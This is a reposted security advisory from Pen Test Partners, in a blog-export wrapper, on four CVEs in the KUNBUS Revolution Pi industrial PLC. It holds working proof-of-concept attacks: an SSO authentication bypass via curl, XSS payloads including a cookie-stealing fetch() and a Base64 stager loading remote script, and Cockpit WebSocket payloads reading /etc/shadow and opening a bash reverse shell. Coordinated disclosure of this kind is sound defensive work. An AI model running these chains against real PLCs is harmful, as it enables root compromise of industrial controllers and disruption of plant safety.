{"id":3566,"date":"2025-05-08T03:35:31","date_gmt":"2025-05-08T03:35:31","guid":{"rendered":"http:\/\/localhost\/?p=3566"},"modified":"2025-05-08T03:35:31","modified_gmt":"2025-05-08T03:35:31","slug":"rces-and-more-in-the-kunbus-gmbh-revolution-pi-plc","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=3566","title":{"rendered":"RCEs and more in the KUNBUS GmbH Revolution Pi PLC"},"content":{"rendered":"<h2>Security Update News<\/h2>\n<h3>Update Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">RCEs and more in the KUNBUS GmbH Revolution Pi PLC<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Update ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">PENTESTPARTNERS:3E4E7F7EA8A3B882725E1415D8315308<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">pentestpartners<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-08T05:36:30<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Last Updated<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-08T05:36:30<\/td>\n<\/tr>\n<\/table>\n<h3>Security Impact<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">9.3<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #cc0000; font-weight: bold;\">CRITICAL<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Attack Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">NETWORK<\/td>\n<\/tr>\n<\/table>\n<h3>Affected CVEs<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-24522<\/li>\n<li>CVE-2025-32011<\/li>\n<li>CVE-2025-35996<\/li>\n<li>CVE-2025-36558<\/li>\n<\/ul>\n<\/div>\n<h3>Update Details<\/h3>\n<div style=\"; padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\n![](https:\/\/www.pentestpartners.com\/content\/uploads\/2023\/05\/RevPiPLCvulns-headline.png)<\/p>\n<p>### TL;DR<\/p>\n<p>  * Four new vulnerabilities in the Revolution Pi industrial PLCs<br \/>  * Two give unauthenticated attackers RCE\u2014potentially a direct impact on safety and operations<br \/>  * Documentation and firmware is public, meaning greater oversight and better security in the long run<br \/>  * KUNBUS\u2019 PSIRT and CISA were great at coordinating disclosure<\/p>\n<p>### Introduction<\/p>\n<p>The Revolution Pi is a programmable logic controller (PLC) made by KUNBUS Gmbh.<\/p>\n<p>PLCs are ruggedised devices sitting near the lowest layer of an industrial network. They use simple I\/O and fieldbus protocols to control field devices (valves, actuators, etc.) and monitor processes.<\/p>\n<p>The Revolution Pi is unique in that the documentation is public and KUNBUS encourage OS-level customisation. The firmware is also publicly accessible.<\/p>\n<p>We found four vulnerabilities by downloading and extracting Revolution Pi\u2019s latest firmware version (01\/2025). We didn\u2019t even need to buy the device, although one would look great on our ICS demo rig! All were found with static code analysis but demonstrated by installing the firmware to a standard Raspberry Pi.<\/p>\n<p>Three concerned PiCtory, a bespoke interface for configuring the Revolution Pi\u2019s digital I\/O and expansion modules:<\/p>\n<p>![](https:\/\/www.pentestpartners.com\/content\/uploads\/2025\/05\/RevPiPLCvulns-1.png)<\/p>\n<p>The fourth was an insecure default configuration of Node-RED, a flow-based visual programming interface for controlling the I\/O.<\/p>\n<p>CISA and KUNBUS have released official advisories:<\/p>\n<p>  * ICSA-25-121-01<br \/>  * Kunbus-2025-0000001<br \/>  * Kunbus-2025-0000002<\/p>\n<p>### Attack paths<\/p>\n<p>Several high-impact attack paths are possible as an unauthenticated remote attacker:<\/p>\n<p>  * Code execution on Node-RED as the low-privilege nodered user (CVE-2025-24522).<br \/>  * Authentication bypass (CVE-2025-32011) on PiCtory to control the PLC\u2019s digital I\/O and extension modules.<br \/>  * Using the authentication bypass to upload a stored XSS payload to PiCtory (CVE-2025-35996). This can leverage an existing Cockpit session to execute code as the root user.<br \/>  * Coercing a victim to click on a malicious PiCtory URL (CVE-2025-36558) that can also gain code execution via Cockpit.<\/p>\n<p>### CVE-2025-24522: Lack of Authentication in Revolution Pi Node-RED<\/p>\n<p>**CVSS:** 9.3 (Critical), CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/VI:H\/VA:H\/SC:N\/SI:N\/SA:N  <br \/>**CVSS:** 10.0 (Critical), CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H  <br \/>**Product:** Revolution Pi OS Bookworm  <br \/>**Vulnerable Version:** Versions 01\/2025 (250124) and earlier<\/p>\n<p>#### Description<\/p>\n<p>Authentication is not configured by default on the Node-RED server. An unauthenticated remote attacker has administrative access to the server and can run arbitrary commands on the underlying operating system, which includes affecting the PLC\u2019s I\/O.<\/p>\n<p>#### Detailed analysis<\/p>\n<p>Revolution Pi runs a Node-RED server for low-code development of programs that interface with its input-output pins. The server is exposed on TCP port 41880.<\/p>\n<p>Node-RED supports authentication, but the instance installed on Revolution Pi\u2019s stock image does not configure it. There is also no guidance or warning to users in Revolution Pi\u2019s documentation.<\/p>\n<p>In addition to programming the device\u2019s input-output pins, a remote unauthenticated attacker can create a flow to run arbitrary operating system commands as the nodered user.<\/p>\n<p>![](https:\/\/www.pentestpartners.com\/content\/uploads\/2025\/05\/RevPiPLCvulns-2.png)<\/p>\n<p>### CVE-2025-32011 &#8211; Authentication Bypass in Revolution Pi PiCtory<\/p>\n<p>**CVSS:** 9.3 (Critical), CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/VI:H\/VA:H\/SC:N\/SI:N\/SA:N  <br \/>**CVSS:** 9.8 (Critical), CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H  <br \/>**Product:** PiCtory  <br \/>**Vulnerable Version:** Versions 2.5.0 through 2.11.1, included as a part of Revolution Pi OS Bookworm 01\/2025 (250124) and earlier<\/p>\n<p>#### Description<\/p>\n<p>Authentication bypass vulnerability in the PiCtory web application used by Revolution Pi. A remote attacker can authenticate to the application without valid credentials due to a path-traversal vulnerability. This grants control over the Revolution Pi\u2019s I\/O terminals and expansion modules but could also be chained with CVE-2025-35996 for RCE.<\/p>\n<p>#### Detailed analysis<\/p>\n<p>Access to PiCtory is intended to be granted via the Cockpit management service instead of the user navigating directly to the application.<\/p>\n<p>A user logged into Cockpit creates a token that gets sent to the PiCtory login handler (_php\/sso_login.php_). The token is a file created by the _\/usr\/share\/cockpit\/revpi-config\/scripts\/create_sso_token.sh_ script, which the Cockpit application spawns as a process on request by the Cockpit user. The file is created in _\/run\/cockpit-revpi-pictory-sso\/_ and named with a random UUID.<\/p>\n<p>To authenticate a user, _sso_login.php_ simply checks if the token file path (provided in the sso_token query parameter) exists.<\/p>\n<p>For example:<\/p>\n<p>  1. User logs into Cockpit at _https:\/\/local_ _\/_<br \/>  2. User requests access to PiCtory<br \/>  3. Cockpit runs _sh_ , creating _\/run\/cockpit-revpi-pictory-sso\/47079ccb-6c33-44ab-8562-aa8cc022f12f_<br \/>  4. User is redirected to _https:\/\/RevPi.local\/pictory\/php\/sso_login.php?sso_token=47079ccb-6c33-44ab-8562-aa8cc022f12f_<br \/>  5. _php_ checks if _\/run\/cockpit-revpi-pictory-sso\/47079ccb-6c33-44ab-8562-aa8cc022f12f_ exists<br \/>  6. If true, it creates a PHP session with the RevPiSessionId variable, which is used for authentication to all other PiCtory functionality<\/p>\n<p>Step (5) is vulnerable to path traversal: the file path is insecurely constructed by blindly appending sso_token to the run directory path:<\/p>\n<p>    **(**&#8230;**)**<br \/>    $sso_token = $_GET[&#8216;sso_token&#8217;];<br \/>    $sso_token_directory = &#8220;\/run\/cockpit-revpi-pictory-sso&#8221;;<br \/>    $sso_file_path = $sso_token_directory . &#8220;\/&#8221; . $sso_token;<\/p>\n<p>    _\/\/ Check if sso file exists_<br \/>    if (!file_exists($sso_file_path)) {<br \/>    http_response_code(401);<br \/>    echo &#8220;No SSO file found for token &#8221; . $sso_token;<br \/>    exit;<br \/>    }<\/p>\n<p>    _\/\/ Read content of the file_<br \/>    $content = file_get_contents($sso_file_path);<br \/>    $content_array = explode(&#8220;\\n&#8221;, $content); _\/\/ split string by newline_<br \/>    $username = $content_array[0]; _\/\/ the first and currently only line is the username_<\/p>\n<p>    _\/\/ Webstatus login session stored the MD5 of the PHP SessionId_<br \/>    $revPiSessionId = md5(session_id());<br \/>    _\/\/ And the JS would then use this hash to set a cookie with this name_<br \/>    _\/\/ In webstatus the value of the cookie is a incorrectly implemented JWT Token which is actually never read_<br \/>    setcookie(&#8216;KUNBUS_RevPiSessionId_&#8217; . $revPiSessionId, $revPiSessionId, 0, &#8216;\/&#8217;);<br \/>    _\/\/ pictory ignores the actual value completelly and only checks if this id was stored in the session_<br \/>    $_SESSION[&#8216;RevPiSessionId&#8217;] = $revPiSessionId;<\/p>\n<p>    _\/\/ Mark session as authenticated via SSO_<br \/>    $_SESSION[&#8220;sso_logged_in&#8221;] = true;<br \/>    $_SESSION[&#8220;username&#8221;] = $username;<\/p>\n<p>    _\/\/ Set SSO cookie to let PiCtory know that it has been started from within cockpit_<br \/>    setcookie(&#8216;Cockpit_SSO_Host&#8217;, &#8216;cockpit_sso_host&#8217;, 0, &#8216;\/&#8217;);<\/p>\n<p>    _\/\/ delete the token after session was created_<br \/>    unlink($sso_file_path);<\/p>\n<p>    redirectToPictory($revPiSessionId);<br \/>    **(**&#8230;**)**<\/p>\n<p>Providing a blank sso_token makes the application check if _\/run\/cockpit-revpi-pictory-sso\/_ exists, which always returns true and will authenticate the user:<\/p>\n<p>    **attacker@ptp$ curl &#8211;insecure &#8211;include &#8211;get \\**<br \/>    **&#8211;data &#8216; sso_token=invalid_token&#8217; \\**<br \/>    **&#8217;https:\/\/RevPi.local:41443\/pictory\/php\/sso_login.php&#8217;**<br \/>    HTTP\/1.1 401 Unauthorized<br \/>    Date: Wed, 19 Feb 2025 16:26:33 GMT<br \/>    Server: Apache\/2.4.62 (Debian)<br \/>    X-Frame-Options: SAMEORIGIN<br \/>    Set-Cookie: PHPSESSID=itlh3tj87bi6c6sdr3fo4egcmk; path=\/<br \/>    Expires: Thu, 19 Nov 1981 08:52:00 GMT<br \/>    Cache-Control: no-store, no-cache, must-revalidate<br \/>    Pragma: no-cache<br \/>    Content-Length: 41<br \/>    Content-Type: text\/html; charset=UTF-8<\/p>\n<p>    No SSO file found for token invalid-token<\/p>\n<p>    **attacker@ptp$ curl &#8211;insecure &#8211;include &#8211;get \\**<br \/>    **&#8211;data &#8216; sso_token=&#8217; \\**<br \/>    **&#8217;https:\/\/RevPi.local:41443\/pictory\/php\/sso_login.php&#8217;**<br \/>    HTTP\/1.1 302 Found<br \/>    Date: Wed, 19 Feb 2025 16:26:37 GMT<br \/>    Server: Apache\/2.4.62 (Debian)<br \/>    X-Frame-Options: SAMEORIGIN<br \/>    Set-Cookie: PHPSESSID=2hekf5u60ft87u26rpsqa7fja4; path=\/<br \/>    Expires: Thu, 19 Nov 1981 08:52:00 GMT<br \/>    Cache-Control: no-store, no-cache, must-revalidate<br \/>    Pragma: no-cache<br \/>    Set-Cookie: KUNBUS_RevPiSessionId_3b765f2a75718dd885cfd81635447d74=3b765f2a75718dd885cfd81635447d74; path=\/<br \/>    Set-Cookie: Cockpit_SSO_Host=cockpit_sso_host; path=\/<br \/>    Location: \/pictory\/index.html?hn=3b765f2a75718dd885cfd81635447d74<br \/>    Content-Length: 12<br \/>    Content-Type: text\/html; charset=UTF-8<\/p>\n<p>    redirect &#8230;<\/p>\n<p>**sso_token** could also be any other existing file path, such as _..\/..\/var\/www\/revpi\/pictory\/_. The path traversal is restricted by PHP\u2019s open_basedir directive to: _\/run\/cockpit-revpi-pictory-sso_ , _\/usr\/bin\/piControlReset_ , _\/usr\/bin\/sudo_ , and _\/var\/www\/revpi\/pictory_.<\/p>\n<p>As well as access to PiCtory, _sso_login.php_ deletes the token file using unlink() resulting in an arbitrary file deletion vulnerability.<\/p>\n<p>The username session variable is set to the first line of the file. This could constitute an arbitrary file read but unfortunately the variable is never outputted by PiCtory.<\/p>\n<p>### CVE-2025-35996 &#8211; Stored Cross-Site Scripting in Revolution Pi PiCtory<\/p>\n<p>**CVSS:** 8.5 (High), CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:L\/UI:A\/VC:H\/VI:H\/VA:H\/SC:N\/SI:N\/SA:N  <br \/>**CVSS:** 9.0 (Critical), CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:R\/S:C\/C:H\/I:H\/A:H  <br \/>**Product:** PiCtory  <br \/>**Vulnerable Version:** Versions 2.11.1 and earlier, included as a part of Revolution Pi OS Bookworm 01\/2025 (250124) and earlier.<\/p>\n<p>#### Description<\/p>\n<p>Stored cross-site scripting is possible in the PiCtory web application via specially crafted filenames in the _export\/_ and _projects\/_ directories. This is due to insufficient output encoding and sanitisation of input parameters. An authenticated remote attacker can inject arbitrary scripts into the application\u2019s _index.html_ , which can result in session hijacking when viewed by another user.<\/p>\n<p>Since Revolution Pi runs PiCtory and Cockpit on the same site, the exploit may also be used to steal the user\u2019s Cockpit session and run arbitrary operating system commands as the root user to gain full control over the PLC.<\/p>\n<p>#### Detailed analysis<\/p>\n<p>PiCtory has a function that shows a user a list of configuration files in the _export\/_ , _projects\/_ , and _resources\/data\/rap\/_ directories. The user can upload to the first two directories.<\/p>\n<p>The functionality is in _php\/getFileList.php_ :<\/p>\n<p>    **(&#8230;)**<br \/>    foreach($result as $r)<br \/>    if (file_exists($r))<br \/>    echo substr($r,2).&#8221;,&#8221;.date (&#8220;Y|m|d|H|i|s&#8221;, filemtime($r)).&#8221;;&#8221;;<br \/>    **(&#8230;)**<\/p>\n<p>PiCtory fails to encode the output of the filename ($r). An authenticated attacker can create a project file with HTML tags in its name, which is subsequently rendered as HTML code when displayed to users.<\/p>\n<p>The tags can be used to run arbitrary JavaScript and perform actions authenticated as the victim, such as modify or delete their PiCtory project files.<\/p>\n<p>A benign proof of concept is shown below:<\/p>\n<p>    **attacker@ptp$ curl \\**<br \/>    **&#8211;insecure \\**<br \/>    **&#8211;cookie &#8216;PHPSESSID=mjgrujmnp9ipjlnatube642c5g&#8217; \\**<br \/>    **&#8211;data &#8216;{}&#8217; \\**<br \/>    **&#8217;https:\/\/revpi.local:41443\/pictory\/php\/saveProject.php?fn= <img+onerror=\"alert(document.domain)\"+src=x+>.rsc&#038;RevPiSessionId=3576b803c263d70c556178c073bed4d3&#8217;**<br \/>    OK<\/p>\n<p>Which creates the following file on the system:<\/p>\n<p>    **pi@RevPi$ ls -l \/var\/www\/revpi\/pictory\/projects\/**<br \/>    total 20<br \/>    -rw-r&#8211;r&#8211; 1 www-data www-data 1293 Feb 19 17:00\u00a0 _config.rsc<br \/>    -rw-r&#8211;r&#8211; 1 www-data www-data\u00a0\u00a0\u00a0 2 Feb 19 17:27 &#8216;<img onerror=\"alert(document.domain)\" src=x >.rsc&#8217;<br \/>    -rw-r&#8211;r&#8211; 1 www-data www-data 1671 Feb 19 17:09\u00a0 pictory_configcheck.log<br \/>    -rw-r&#8211;r&#8211; 1 root\u00a0\u00a0\u00a0\u00a0 root\u00a0\u00a0\u00a0\u00a0\u00a0 706 Jan 23 09:49\u00a0 _README.txt<br \/>    -rw-r&#8211;r&#8211; 1 root\u00a0\u00a0\u00a0\u00a0 root\u00a0\u00a0\u00a0\u00a0\u00a0 334 Jan 23 09:49\u00a0 _userSettings.json<\/p>\n<p>And executes the payload whenever viewed in the file list:<\/p>\n<p>![](https:\/\/www.pentestpartners.com\/content\/uploads\/2025\/05\/RevPiPLCvulns-3.png)<\/p>\n<p>![](https:\/\/www.pentestpartners.com\/content\/uploads\/2025\/05\/RevPiPLCvulns-4.png)<\/p>\n<p>Neither of the authentication cookies are set with the HttpOnly attribute, so the script can exfiltrate them to the attacker-controlled server and fully hijack a user\u2019s session:<\/p>\n<p>    fetch(&#8220;https:\/\/pentestpartners.com\/&#8221; + document.cookie)<\/p>\n<p>However, the most impactful exploit leverages the fact that PiCtory and Cockpit run under different directories on the same site: https:\/\/RevPi.local:41443\/ and https:\/\/RevPi.local:41443\/pictory\/.<\/p>\n<p>This means the XSS payload can send requests with Cockpit\u2019s session cookie. Cockpit allows you to run commands as the root user, so the XSS can execute code on the operating system.<\/p>\n<p>This attack involves more complexity, so the initial payload is a stager for a larger script hosted on the attacker\u2019s server:<\/p>\n<p>    s=document.createElement(&#8216;script&#8217;);s.src=&#8217;https:\/\/attacker.local\/xss.js&#8217;;document.head.appendChild(s);<\/p>\n<p>Since the payload is stored in a filename on the Revolution Pi, it cannot contain forward slashes so was Base64-encoded and wrapped in eval(atob()) to be executed:<\/p>\n<p>    **attacker@ptp$ curl \\**<br \/>    **&#8211;insecure \\**<br \/>    **&#8211;cookie &#8216;PHPSESSID=mjgrujmnp9ipjlnatube642c5g&#8217; \\**<br \/>    **&#8211;data &#8216;{}&#8217; \\**<br \/>    **&#8217;https:\/\/revpi.local:41443\/pictory\/php\/saveProject.php?fn= <img+onerror=\"eval(atob('\\''cz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly9hdHRhY2tlci5sb2NhbC94c3MuanMnO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQocyk7'\\''))\"+src=x+>.rsc&#038;RevPiSessionId=75c1f3f2cfe12a9788029c4a99d93045&#8217;**<br \/>    OK<\/p>\n<p>It looks like this when injected:<\/p>\n<p>![](https:\/\/www.pentestpartners.com\/content\/uploads\/2025\/05\/RevPiPLCvulns-5.png)<\/p>\n<p>The script at _https:\/\/attacker.local\/xxs.js_ invokes a WebSocket session with Cockpit. Two scripts were made to demonstrate impact. The first simply shows the groups of the operating system user that ran the Cockpit commands, and demonstrates privilege escalation to root by viewing _\/etc\/shadow_ :<\/p>\n<p>    socket = new WebSocket(&#8216;wss:\/\/revpi.local:41443\/cockpit-revpi\/cockpit\/socket&#8217;);<\/p>\n<p>    socket.addEventListener(&#8216;open&#8217;, () => {<br \/>    socket.send(&#8216;\\n{&#8220;command&#8221;:&#8221;init&#8221;,&#8221;version&#8221;:1}&#8217;);<br \/>    socket.send(&#8216;\\n{&#8220;payload&#8221;:&#8221;stream&#8221;,&#8221;spawn&#8221;:[&#8220;id&#8221;],&#8221;command&#8221;:&#8221;open&#8221;,&#8221;channel&#8221;:&#8221;1!1&#8243;}&#8217;);<br \/>    socket.send(&#8216;\\n{&#8220;payload&#8221;:&#8221;stream&#8221;,&#8221;spawn&#8221;:[&#8220;id<\"],\"command\":\"open\",\"channel\":\"1!2\",\"superuser\":\"try\"}');<br \/>    socket.send(&#8216;\\n{&#8220;payload&#8221;:&#8221;stream&#8221;,&#8221;spawn&#8221;:[&#8220;cat&#8221;,&#8221;\/etc\/shadow&#8221;],&#8221;command&#8221;:&#8221;open&#8221;,&#8221;channel&#8221;:&#8221;1!3&#8243;,&#8221;superuser&#8221;:&#8221;try&#8221;}&#8217;);<br \/>    });<\/p>\n<p>    socket.addEventListener(&#8216;message&#8217;, (event) => event.data.startsWith(&#8220;1!&#8221;) ? console.log(event.data) : 0);<\/p>\n<p>![](https:\/\/www.pentestpartners.com\/content\/uploads\/2025\/05\/RevPiPLCvulns-6.png)<\/p>\n<p>The second spawns a reverse shell back to an attacker\u2019s server over the network, granting them a full interactive session on the Revolution Pi as the root user:<\/p>\n<p>    socket = new WebSocket(&#8216;wss:\/\/RevPi.local:41443\/cockpit-revpi\/cockpit\/socket&#8217;);<\/p>\n<p>    socket.addEventListener(&#8216;open&#8217;, () => {<br \/>    socket.send(&#8216;\\n{&#8220;command&#8221;:&#8221;init&#8221;,&#8221;version&#8221;:1}&#8217;);<br \/>    socket.send(&#8216;\\n{&#8220;payload&#8221;:&#8221;stream&#8221;,&#8221;spawn&#8221;:[&#8220;bash&#8221;,&#8221;-c&#8221;,&#8221;bash -i >&#038;\/dev\/tcp\/192.168.0.1\/1337 0>&#038;1&#8243;],&#8221;command&#8221;:&#8221;open&#8221;,&#8221;channel&#8221;:&#8221;1!1&#8243;,&#8221;superuser&#8221;:&#8221;try&#8221;}&#8217;);<\/p>\n<p>    });<\/p>\n<p>![](https:\/\/www.pentestpartners.com\/content\/uploads\/2025\/05\/RevPiPLCvulns-7.png)<\/p>\n<p>Ultimately this code execution allows an attacker to control the PLC\u2019s digital I\/O and expansion modules. This could be used to disrupt plant operations and pose a safety or financial impact.<\/p>\n<p>### CVE-2025-36558 &#8211; Reflected Cross-Site Scripting in PiCtory<\/p>\n<p>**CVSS:** 5.1 (Medium), CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:A\/VC:L\/VI:L\/VA:N\/SC:N\/SI:N\/SA:N  <br \/>**CVSS:** 6.1 (Medium), CVSS:3.1AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:L\/I:L\/A:N  <br \/>**Product:** PiCtory  <br \/>**Vulnerable Version:** Versions 2.11.1 and earlier, included as a part of Revolution Pi OS Bookworm 01\/2025 (250124) and earlier.<\/p>\n<p>#### Description<\/p>\n<p>Reflected cross-site scripting in PiCtory via the sso_token query string parameter. This is due to insufficient output encoding and sanitisation of input parameters. A malicious URL could inject and execute arbitrary JavaScript in an authenticated user\u2019s browser, which could result in session hijacking.<\/p>\n<p>#### Detailed analysis<\/p>\n<p>_php\/sso_login.php_ in PiCtory authenticates the user with a token provided in the sso_token query string parameter.<\/p>\n<p>An invalid token is outputted in the server\u2019s response. HTML character entities are not used to encode the output, meaning the browser attempts to render any HTML code embedded in the value.<\/p>\n<p>    **(&#8230;)**<br \/>    $sso_token = $_GET[&#8216;sso_token&#8217;];<br \/>    $sso_token_directory = &#8220;\/run\/cockpit-revpi-pictory-sso&#8221;;<br \/>    $sso_file_path = $sso_token_directory . &#8220;\/&#8221; . $sso_token;<\/p>\n<p>    _\/\/ Check if sso file exists_<br \/>    if (!file_exists($sso_file_path)) {<br \/>    http_response_code(401);<br \/>    echo &#8220;No SSO file found for token &#8221; . $sso_token;<br \/>    exit;<br \/>    }<br \/>    **(&#8230;)**<\/p>\n<p>A URL with a token containing a script element causes the browser to execute the script when navigated to, e.g.:<\/p>\n<p>https:\/\/revpi.local:41443\/pictory\/php\/sso_login.php?sso_token=%3Cscript%3Ealert(document.domain)%3C\/script%3E<\/p>\n<p>![](https:\/\/www.pentestpartners.com\/content\/uploads\/2025\/05\/RevPiPLCvulns-8.png)<\/p>\n<p>Like the stored XSS, an attacker can steal the user\u2019s PiCtory or Cockpit sessions and gain code execution. However, the likelihood is significantly less since a successful attack relies on an administrator of the PLC being coerced into following the URL at the time of being connected to the plant\u2019s control network.<\/p>\n<p>### Mitigations<\/p>\n<p>Set a username and password for Node-RED in _\/var\/lib\/revpi-nodered\/.node-red\/settings.js_ (further details in KUNBUS\u2019 advisory). Disable Node-RED if unused.<\/p>\n<p>Upgrade PiCtory to version 2.12 with **sudo apt update &#038;&#038; sudo apt upgrade** on the Revolution Pi\u2019s command line. This version will also be shipped with the next full OS image (04\/2025).<\/p>\n<p>As is always the guidance with ICS environments: practice good segregation in line with ISA\/IEC 62443, the Purdue model, and other standards. Be worried if the baddies are reaching your PLCs!<\/p>\n<p>### Disclosure timeline<\/p>\n<p>Since the vulnerabilities affect ICS equipment, we coordinated disclosure with CISA and KUNBUS\u2019 PSIRT team (security.txt).<\/p>\n<p>There were some teething issues, mainly down to KUNBUS not having an account on VINCE (CERT\/CC\u2019s disclosure environment) and there being disjointed communications until everyone was present. But remediation was achieved within 90 days:<\/p>\n<p>  * **21 st February 2025: **Initial contact with KUNBUS\u2019 PSIRT.<br \/>  * **24 th February 2025: **KUNBUS response and full disclosure document is shared.<br \/>  * **27 th February 2025: **Case is opened in VINCE with Pen Test Partners and CISA \/ Idaho National Laboratory. CISA attempt contact with KUNBUS.<br \/>  * **24 th March 2025:** KUNBUS chased by Pen Test Partners over email.<br \/>  * **31 st March 2025: **KUNBUS confirm no invite received from CISA.<br \/>  * **1 st April 2025:** KUNBUS unexpectedly publish advisory to their own website.<br \/>  * **4 th April 2025:** Remediation is reviewed and approved by Pen Test Partners.<br \/>  * **8 th April 2025: **KUNBUS join VINCE and confirm CISA\u2019s initial contact was sent to the wrong address.<br \/>  * **1 st May 2025:** CISA publish advisory alongside four CVEs.<br \/>  * **8 th May 2025:** Pen Test Partners publish writeup.<\/p>\n<p>The post RCEs and more in the KUNBUS GmbH Revolution Pi PLC first appeared on Pen Test Partners.\n<\/p><\/div>\n<p><a href=\"https:\/\/www.pentestpartners.com\/security-blog\/rces-and-more-in-the-kunbus-gmbh-revolution-pi-plc\/\" target=\"_blank\" style=\"display: inline-block; color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Advisory Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Security Update News Update Information Title RCEs and more in the KUNBUS GmbH Revolution Pi PLC Update ID PENTESTPARTNERS:3E4E7F7EA8A3B882725E1415D8315308 Type pentestpartners Published 2025-05-08T05:36:30 Last Updated&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[9,6,8,55,12,13,134,7,11,5],"class_list":["post-3566","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-news","tag-pentestpartners","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>RCEs and more in the KUNBUS GmbH Revolution Pi PLC - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=3566\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"RCEs and more in the KUNBUS GmbH Revolution Pi PLC - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Security Update News Update Information Title RCEs and more in the KUNBUS GmbH Revolution Pi PLC Update ID PENTESTPARTNERS:3E4E7F7EA8A3B882725E1415D8315308 Type pentestpartners Published 2025-05-08T05:36:30 Last Updated...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=3566\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-08T03:35:31+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3566#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3566\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"RCEs and more in the KUNBUS GmbH Revolution Pi PLC\",\"datePublished\":\"2025-05-08T03:35:31+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3566\"},\"wordCount\":2708,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.3\",\"exploit\",\"news\",\"pentestpartners\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=3566#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3566\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3566\",\"name\":\"RCEs and more in the KUNBUS GmbH Revolution Pi PLC - zero 